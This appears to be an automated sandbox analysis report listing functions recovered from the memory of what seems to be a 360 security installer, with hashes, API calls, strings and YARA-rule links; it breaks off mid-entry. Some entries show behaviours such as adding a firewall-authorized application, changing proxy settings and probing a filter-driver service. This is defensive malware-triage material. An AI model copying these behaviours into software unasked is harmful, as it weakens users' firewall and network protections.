Instruction ID: 8df7812059f6b34a2be9a367dd2b5f1574b382f07128eecc481a34b2109d81a0
Opcode Fuzzy Hash: 4e5a6547060cde2eadd44e823e7951f28015ec688d981571254a98694d2fc301
Instruction Fuzzy Hash: F5012CF9403304AFC708AFB5C68894E3BE9AFC4220710867AF449971D1DB35D546CAE1

Function 00164680 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001646A1
GetFileSizeEx.KERNEL32(?,?,00000000,?,00000003), ref: 001646B3
_malloc.LIBCMT ref: 001646E3
SetLastError.KERNEL32(00000008,?,?,?,00004000), ref: 001646F3

Strings

INIT, xrefs: 00164A52
PE, xrefs: 00164766

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ErrorFileLastSize_malloc_memset
String ID: INIT$PE
API String ID: 942205088-3949469810
Opcode ID: fe97900fe6781a4b73ed487420d7c82f72f4ddf672da06896b2ad2535f04da34
Instruction ID: 19cf82f9d5fda96e285f69e437548799f6fde52f56989a2d1bf18744f9c97436
Opcode Fuzzy Hash: fe97900fe6781a4b73ed487420d7c82f72f4ddf672da06896b2ad2535f04da34
Instruction Fuzzy Hash: 5AE1DEB1A043409BDB24DF24DC41BAB77E4EF95704F08492DFD999B242E771D924CB92

Function 0017BBA9 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 306COMMON

Download Yara Rule

Strings

D!, xrefs: 0017BEDF
parent=, xrefs: 0017BE6D
http://360.cn, xrefs: 0017BC96

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$ExistsFileTemp_memset$ActiveCreateDirectoryH_prolog3Window
String ID: D!$http://360.cn$parent=
API String ID: 2807940103-317923980
Opcode ID: 73789289c1d6ea655ba5b20ed91ac4bac749501723f7c4fd50d9c84a7b43dd82
Instruction ID: a6bb4e8acb122314ff7e244b855b6d619eefdfd2819e6a42baf213de18f97c4b
Opcode Fuzzy Hash: 73789289c1d6ea655ba5b20ed91ac4bac749501723f7c4fd50d9c84a7b43dd82
Instruction Fuzzy Hash: B191C531A482085BDB28B7F4ECD7FBD7379AF71720F208519F616AA1D2EF609950C611

Function 0017995E Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00179965

Part of subcall function 001774B2: CLSIDFromProgID.COMBASE(?,?), ref: 001774D1
Part of subcall function 001774B2: CoCreateInstance.OLE32(?,?,?,0021E8A0), ref: 001774E9

SysFreeString.OLEAUT32(?), ref: 00179A94
SysFreeString.OLEAUT32(?), ref: 00179B14
SysFreeString.OLEAUT32(?), ref: 00179BB9

Strings

HNetCfg.FwMgr, xrefs: 00179975
HNetCfg.FwAuthorizedApplication, xrefs: 00179AFB

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FreeString$CreateFromH_prolog3_catchInstanceProg
String ID: HNetCfg.FwAuthorizedApplication$HNetCfg.FwMgr
API String ID: 3810993049-1951265404
Opcode ID: 75e66abd5121d897cad7319e493bcca60f1a4b21bef1b547ddc9987d344581a8
Instruction ID: 437f0f9d34da6d4db9f9f2bedfedeaa46ce06d0859b9b395337350df520ce28b
Opcode Fuzzy Hash: 75e66abd5121d897cad7319e493bcca60f1a4b21bef1b547ddc9987d344581a8
Instruction Fuzzy Hash: 6BB1E974A01249EFCF14DFE4C888AADBBB5FF59304F2484A9E54AEB251C7359D49CB20

Function 5F4F5B20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 5F4F5D5B

Part of subcall function 5F516BE8: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,5F4F5BD5,customproxytype,?,FF4173A1), ref: 5F516C13

Part of subcall function 5F516CC7: RegSetValueExW.KERNEL32(?,00000000,00000000,00000004,?,00000004,?,5F4F5B99,proxytype,00000001,proxytype,?,FF4173A1), ref: 5F516CEB

Strings

customsocks, xrefs: 5F4F5C0B
ieproxy, xrefs: 5F4F5C88
customhttp, xrefs: 5F4F5BE9
proxytype, xrefs: 5F4F5B7C, 5F4F5B81, 5F4F5B90
customproxytype, xrefs: 5F4F5BC8

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Value$CountQueryTick
String ID: customhttp$customproxytype$customsocks$ieproxy$proxytype
API String ID: 3766178726-1816664922
Opcode ID: d553db68396a243736ee00c780156ece89518c468a57e7100024718c8afb1fc1
Instruction ID: eef8e5e31f0ab44315d639e7e33a93ca80bcdb35e1549293d8440b29834dc83b
Opcode Fuzzy Hash: d553db68396a243736ee00c780156ece89518c468a57e7100024718c8afb1fc1
Instruction Fuzzy Hash: 387170F1901789AFDB24DFA4C8809EAB7F8FF44310F54852AD55AD7380EB30A649CB91

Function 0017D09B Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0017D0A2

Part of subcall function 0017CE6B: __EH_prolog3_GS.LIBCMT ref: 0017CE75
Part of subcall function 0017CE6B: _memset.LIBCMT ref: 0017CEE2
Part of subcall function 0017CE6B: GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 0017CEF9

Part of subcall function 0017CFE7: __EH_prolog3.LIBCMT ref: 0017CFEE

SetCurrentDirectoryW.KERNEL32(?,00000018,0022CC68,00000000,00000018,themes,00000018,0017BEB5,00000000), ref: 0017D0F2

Part of subcall function 001C4C7D: GetModuleHandleW.KERNEL32(sites.dll,0017D12D,0021F258,000000FF,00000000,00000000), ref: 001C4C8B

PathFileExistsW.SHLWAPI(00000000,00000000,?,00000000,?), ref: 0017D1AF

Strings

\NewInstallAir\NewInstallAir.ui, xrefs: 0017D172
themes, xrefs: 0017D0A9
\theme_NewInstallAir.xml, xrefs: 0017D1E1

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$CurrentDirectoryExistsFileH_prolog3H_prolog3_H_prolog3_catchHandleLongModuleName_memset
String ID: \NewInstallAir\NewInstallAir.ui$\theme_NewInstallAir.xml$themes
API String ID: 314926721-3980048744
Opcode ID: 04f7ce82bb49a47690e2f107c5a807127664c92723f7df4e93cc7e9c2d930a4f
Instruction ID: ab5c55c048cbaa6d2fe014f33ce03129fe3bc15cbe96e0ab06c524945610753c
Opcode Fuzzy Hash: 04f7ce82bb49a47690e2f107c5a807127664c92723f7df4e93cc7e9c2d930a4f
Instruction Fuzzy Hash: 4D51B370E00249DFCF05EBE4C855ABEB7B9AF65710F64804CF51AA7281CB745E45CBA2

Function 00198C9F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00198CA6

Part of subcall function 001A72A6: __EH_prolog3.LIBCMT ref: 001A72C5
Part of subcall function 001A72A6: _memset.LIBCMT ref: 001A72EC

Part of subcall function 001A73D5: __EH_prolog3.LIBCMT ref: 001A73F4
Part of subcall function 001A73D5: _memset.LIBCMT ref: 001A7422

InterlockedExchange.KERNEL32(?,00003001), ref: 00198E38

Part of subcall function 0017AFB8: __EH_prolog3.LIBCMT ref: 0017AFBF

Strings

360Installer, xrefs: 00198D6B
.dir, xrefs: 00198CE8
\custom_wnd.ini, xrefs: 00198DB8
\Setup.ini, xrefs: 00198D1D

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3$_memset$ExchangeInterlocked
String ID: .dir$360Installer$\Setup.ini$\custom_wnd.ini
API String ID: 3606139519-1812597268
Opcode ID: a642e5b5b7c846d6fa59ad83deb599caa695923f9632d368830ad0b93c268d05
Instruction ID: 8e23f46a3d8cd8d88d3de074b0d1e1c88eb17b529b02f0c6c7cbbafe7a74cf5e
Opcode Fuzzy Hash: a642e5b5b7c846d6fa59ad83deb599caa695923f9632d368830ad0b93c268d05
Instruction Fuzzy Hash: 42518F71A00249AFCB04EBF4DC96AFE77B8AF66314F104519F216A72D2DF709A44CB61

Function 001E2F80 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001E2FCC
SHGetValueA.SHLWAPI(80000002,Software\360Safe\Liveup,mid,?,?,?,?,00000400), ref: 001E2FF5
_memset.LIBCMT ref: 001E30A2
lstrcmpiA.KERNEL32(?,?), ref: 001E30CA

Strings

mid, xrefs: 001E2FE6
Software\360Safe\Liveup, xrefs: 001E2FEB

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$Valuelstrcmpi
String ID: Software\360Safe\Liveup$mid
API String ID: 999496690-2395435937
Opcode ID: 42c08ac612b72a4f18158d647829a19264fd3bf176cab8f95d03622d8b58808f
Instruction ID: 142e06426c62be58f98be40d9d60b9d20914be30c39a7ce08eba82c3e3f7eda7
Opcode Fuzzy Hash: 42c08ac612b72a4f18158d647829a19264fd3bf176cab8f95d03622d8b58808f
Instruction Fuzzy Hash: AA411231104B859FE734CB25C859BFFB7E8AF95704F04491DF9AA87181EB319A09CB92

Function 5F52074A Relevance: 10.6, APIs: 7, Instructions: 106networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000276D,?,?,?,?,?,?,?), ref: 5F520772
socket.WS2_32(00000002,?,00000000), ref: 5F5207B5
WSAGetLastError.WS2_32(?,?,?,?,?,?,?), ref: 5F5207C0

Part of subcall function 5F5204A4: WSAAsyncSelect.WS2_32(?,00000000,?,?), ref: 5F5204C4

WSAGetLastError.WS2_32(?,00000010,?,00000000,?,?,?,?,?,?,?), ref: 5F5207E4
WSAAsyncSelect.WS2_32(?,00000000,?,0000003F), ref: 5F520811
htonl.WS2_32(00000000), ref: 5F52082C
htons.WS2_32(?), ref: 5F520838

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorLast$AsyncSelect$htonlhtonssocket
String ID:
API String ID: 3031483187-0
Opcode ID: 42392e587dc235fff3b34cbb96e18897fc019530812241b0f9fa0e88711bcf88
Instruction ID: 8002378c8238c954b0e39d718f95daf1fd16428e9879cb92e77db6ed0f46e3ba
Opcode Fuzzy Hash: 42392e587dc235fff3b34cbb96e18897fc019530812241b0f9fa0e88711bcf88
Instruction Fuzzy Hash: 5F31A2B16023049BCB109F78C9489AF77F5AF88760B104B3EF857DB5D2D770A9008B90

Function 001B4A8C Relevance: 10.6, APIs: 7, Instructions: 74COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000005,?), ref: 001B4AAC
MoveWindow.USER32(?,?,00000104,000000AF,00000050,00000001,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000), ref: 001B4AE4
MoveWindow.USER32(?,?,000000CE,000000AF,00000050,00000001,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000), ref: 001B4B04
ShowWindow.USER32(?,00000000,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 001B4B17
DestroyWindow.USER32(?,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 001B4B2E
ShowWindow.USER32(?,00000000,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 001B4B3B
ShowWindow.USER32(?,00000001,?,00000000,?,00198E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 001B4B47

Part of subcall function 001A58F3: __EH_prolog3.LIBCMT ref: 001A58FA

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$Show$Move$ClientDestroyH_prolog3Rect
String ID:
API String ID: 1342398966-0
Opcode ID: 1d42dc56be4c113047c48021b3cbe4978bd084fb12973d1993b95d6ccc9cff01
Instruction ID: a5290cdbc988ece7929357ce9e9911a45725d328062e5de61af4f8b359f094a6
Opcode Fuzzy Hash: 1d42dc56be4c113047c48021b3cbe4978bd084fb12973d1993b95d6ccc9cff01
Instruction Fuzzy Hash: 4521C076600205BFDB106FB8DD89EFFBBAABF18304F054528FA56D2191DB71A9008B80

Function 001EEA8C Relevance: 10.6, APIs: 7, Instructions: 71threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 001EEABD
__calloc_crt.LIBCMT ref: 001EEAC9
__getptd.LIBCMT ref: 001EEAD6
__initptd.LIBCMT ref: 001EEADF
CreateThread.KERNEL32(?,?,001EEA09,00000000,?,?), ref: 001EEB0D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 001EEB17
__dosmaperr.LIBCMT ref: 001EEB2F

Part of subcall function 001E98D1: __getptd_noexit.LIBCMT ref: 001E98D1

Part of subcall function 001EA5B1: __decode_pointer.LIBCMT ref: 001EA5BC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit__initptd
String ID:
API String ID: 3358092440-0
Opcode ID: 880540e254bb7c8d1e3b0a1614399f70b56404b356880a377a218bd2f456ac97
Instruction ID: 06c9ea53dc17a7f0ab0a623f622c844888f9c6078837fdef0d9da10913817cd7
Opcode Fuzzy Hash: 880540e254bb7c8d1e3b0a1614399f70b56404b356880a377a218bd2f456ac97
Instruction Fuzzy Hash: CD112332500A89EFDB11BFA6DC868AF7BE5FF24320B10403DF612930A1EB719D418B61

Function 001D1DA8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D1DD0
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?,?,00000000,0017BD49,?), ref: 001D1E06
DeviceIoControl.KERNEL32(00000000,002D1080,00000000,00000000,?,0000000C,?,00000000), ref: 001D1E30
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,0017BD49,?), ref: 001D1E3B
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,0017BD49,?), ref: 001D1E43

Strings

\\.\%c:, xrefs: 001D1DDA

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseHandle$ControlCreateDeviceFile_memset
String ID: \\.\%c:
API String ID: 2281634102-1260769427
Opcode ID: e034716cb6632eea3f80fc6dd67c2ae849577f5682ec9e16c211905b58180573
Instruction ID: a396c42e82dadab17dc07dcd08b54af82b7b6117c7dee6595a0a20d3736a63c6
Opcode Fuzzy Hash: e034716cb6632eea3f80fc6dd67c2ae849577f5682ec9e16c211905b58180573
Instruction Fuzzy Hash: EA11B6B2641228BBDB209BA5AC4DEEB7BACEF25710F104151F915D3181DB709A40CBB0

Function 001D5637 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001D563E
GetDC.USER32(00000000), ref: 001D564B

Part of subcall function 001D548F: _memset.LIBCMT ref: 001D54B5
Part of subcall function 001D548F: GetVersionExW.KERNEL32(?), ref: 001D54C8

EnumFontFamiliesW.GDI32(00000000,00000000,001D559A), ref: 001D5666
ReleaseDC.USER32(00000000,00000000), ref: 001D56BF
CreateFontW.GDI32(000000F4,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000086,00000000,00000000,00000000,00000020,?), ref: 001D56DF

Strings

Tahoma, xrefs: 001D56A0

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Font$CreateEnumFamiliesH_prolog3_catchReleaseVersion_memset
String ID: Tahoma
API String ID: 3542596840-3580928618
Opcode ID: 7cc44732e6ce924048765c5c644a5b3183f6412fe31f5db543fe9558b20a59cf
Instruction ID: 0a1e9da0ab67214f1006cb2bf416d42f2adad0bcf8a5985b8fdec1ba5bdbe31f
Opcode Fuzzy Hash: 7cc44732e6ce924048765c5c644a5b3183f6412fe31f5db543fe9558b20a59cf
Instruction Fuzzy Hash: D311A731140BC076D73497A29C4DFA76EBADBEAB04F40C40DF996466D0EFB49480CB20

Function 001CD372 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51serviceCOMMON

Download Yara Rule

APIs

Part of subcall function 001C8657: _memset.LIBCMT ref: 001C867B
Part of subcall function 001C8657: _memset.LIBCMT ref: 001C868C
Part of subcall function 001C8657: GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86A1
Part of subcall function 001C8657: GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86B2
Part of subcall function 001C8657: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,00000000), ref: 001C86C2
Part of subcall function 001C8657: GetProcAddress.KERNEL32(00000000), ref: 001C86C9
Part of subcall function 001C8657: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86D7

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,00000000,?,?,?,?,?,001CEAAD,?,0017BD49,00100000,00000000,0000008C), ref: 001CD391
OpenServiceW.ADVAPI32(00000000,360FsFlt,00000034,?,?,?,?,001CEAAD,?,0017BD49,00100000,00000000,0000008C), ref: 001CD3A5
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,0000008C,?,?,?,?,001CEAAD,?,0017BD49,00100000,00000000,0000008C), ref: 001CD3BD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,001CEAAD,?,0017BD49,00100000,00000000,0000008C), ref: 001CD3D5
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,001CEAAD,?,0017BD49,00100000,00000000,0000008C), ref: 001CD3D8

Strings

360FsFlt, xrefs: 001CD39F

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Service$Handle$CloseOpenVersion_memset$AddressInfoManagerModuleNativeProcQueryStatusSystem
String ID: 360FsFlt
API String ID: 470164251-3852983893
Opcode ID: 2b43bc636b1057d2d5356c3ba76aa090364cea83cc150d0d9034140846fc1ec3
Instruction ID: c7e8e4f45638978d46de3ff4c44d2c78a45feb874d140d20d9d50922926d3e35
Opcode Fuzzy Hash: 2b43bc636b1057d2d5356c3ba76aa090364cea83cc150d0d9034140846fc1ec3
Instruction Fuzzy Hash: 5FF0A9726001186FEB20AB65BCC9FFF769CE799794B111139FA01F6080DFA0DD059572

Function 5F52AC74 Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 5F52ACA5
__calloc_crt.LIBCMT ref: 5F52ACB1
__getptd.LIBCMT ref: 5F52ACBE
CreateThread.KERNEL32(?,?,5F52ABF1,00000000,?,?), ref: 5F52ACF5
GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 5F52ACFF
__dosmaperr.LIBCMT ref: 5F52AD17

Part of subcall function 5F52DC8C: __getptd_noexit.LIBCMT ref: 5F52DC8C

Part of subcall function 5F528356: __decode_pointer.LIBCMT ref: 5F528361

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
